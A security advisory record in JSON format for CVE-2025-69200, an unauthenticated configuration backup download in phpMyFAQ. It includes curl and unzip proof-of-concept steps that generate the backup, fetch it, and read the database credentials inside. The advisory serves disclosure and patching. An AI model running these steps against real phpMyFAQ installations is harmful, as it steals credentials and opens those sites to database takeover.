{"id":"GHSA-9cg9-4h4f-j6fg","summary":"phpMyFAQ has unauthenticated config backup download via /api/setup/backup","details":"### Summary\nAn unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise.\n\n### Details\nThe endpoint `/api/setup/backup` is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.\n\nRelevant code paths:\n- Rewrite rule exposing the endpoint:\n  - `phpmyfaq/.htaccess`: `RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]`\n- Controller implementation:\n  - `phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php` → `backup()`\n    - No call to `hasValidToken()`, `userIsAuthenticated()`, or any permission check\n- Backup creation:\n  - `phpmyfaq/src/phpMyFAQ/Setup/Update.php` → `createConfigBackup()`\n    - Writes the ZIP into the config directory and returns a public URL under `content/core/config/`\n\n### PoC\nReplace `BASE_URL` with your instance URL.\n\n1) Trigger config backup generation without authentication:\n\n```bash\nBASE_URL=\"http://localhost\"\ncurl -i -X POST \"${BASE_URL}/api/setup/backup\" \\\n  -H \"Content-Type: text/plain\" \\\n  --data \"4.1.0-RC\"\n```\n\nExpected result: `200 OK` with JSON containing `backupFile`.\n\n2) Copy the `backupFile` URL from the JSON response and download it (still without authentication):\n\n```bash\n# Example (replace with the exact URL returned in step 1)\ncurl -i \"http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip\" -o phpmyfaq-config-backup.zip\n```\n\n3) Verify sensitive content exists in the ZIP:\n\n```bash\nunzip -l phpmyfaq-config-backup.zip\nunzip -p phpmyfaq-config-backup.zip database.php\n```\n\nObserved: `database.php` is included and contains DB host/user/password.\n\n### Impact\n- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.\n- Who is impacted: Any internet-exposed phpMyFAQ installation where the default `.htaccess` rewrite rules are active and the endpoint is reachable.\n- Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.","aliases":["CVE-2025-69200"],"modified":"2025-12-30T15:55:19.226207Z","published":"2025-12-30T15:31:19Z","database_specific":{"cwe_ids":["CWE-202"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2025-12-30T15:31:19Z","nvd_published_at":"2025-12-29T16:15:43Z"},"references":[{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69200"},{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/commit/b0e99ee3695152115841cb546d8dce64ceb8c29a"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"}],"affected":[{"package":{"name":"thorsten/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/thorsten/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.16"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-9cg9-4h4f-j6fg/GHSA-9cg9-4h4f-j6fg.json"}},{"package":{"name":"thorsten/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/thorsten/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0-alpha"},{"last_affected":"4.1.0-beta.2"}]}],"versions":["4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-9cg9-4h4f-j6fg/GHSA-9cg9-4h4f-j6fg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}